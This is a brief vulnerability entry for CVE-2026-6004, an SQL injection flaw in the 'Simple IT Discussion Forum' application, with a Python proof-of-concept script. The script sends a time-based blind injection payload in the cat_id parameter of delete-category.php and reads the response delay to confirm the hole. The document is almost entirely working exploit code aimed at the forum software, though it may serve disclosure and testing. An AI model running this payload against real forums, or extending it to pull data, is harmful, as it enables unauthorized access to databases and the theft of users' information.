CVE-2026-6004 Simple IT Discussion Forum SQL注入漏洞

import requests # Target URL containing the vulnerable file target_url = "http://example.com/delete-category.php" # Malicious payload to test for SQL Injection (Time-based) payload = "1' AND SLEEP(5)-- -" # Injection parameter params = { "cat_id": payload } try: response = requests.get(target_url, params=params, timeout=10) # Check if the response time indicates successful injection if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection detected in cat_id parameter.") else: print("[-] Vulnerability not detected.") except Exception as e: print(f"Error occurred: {e}")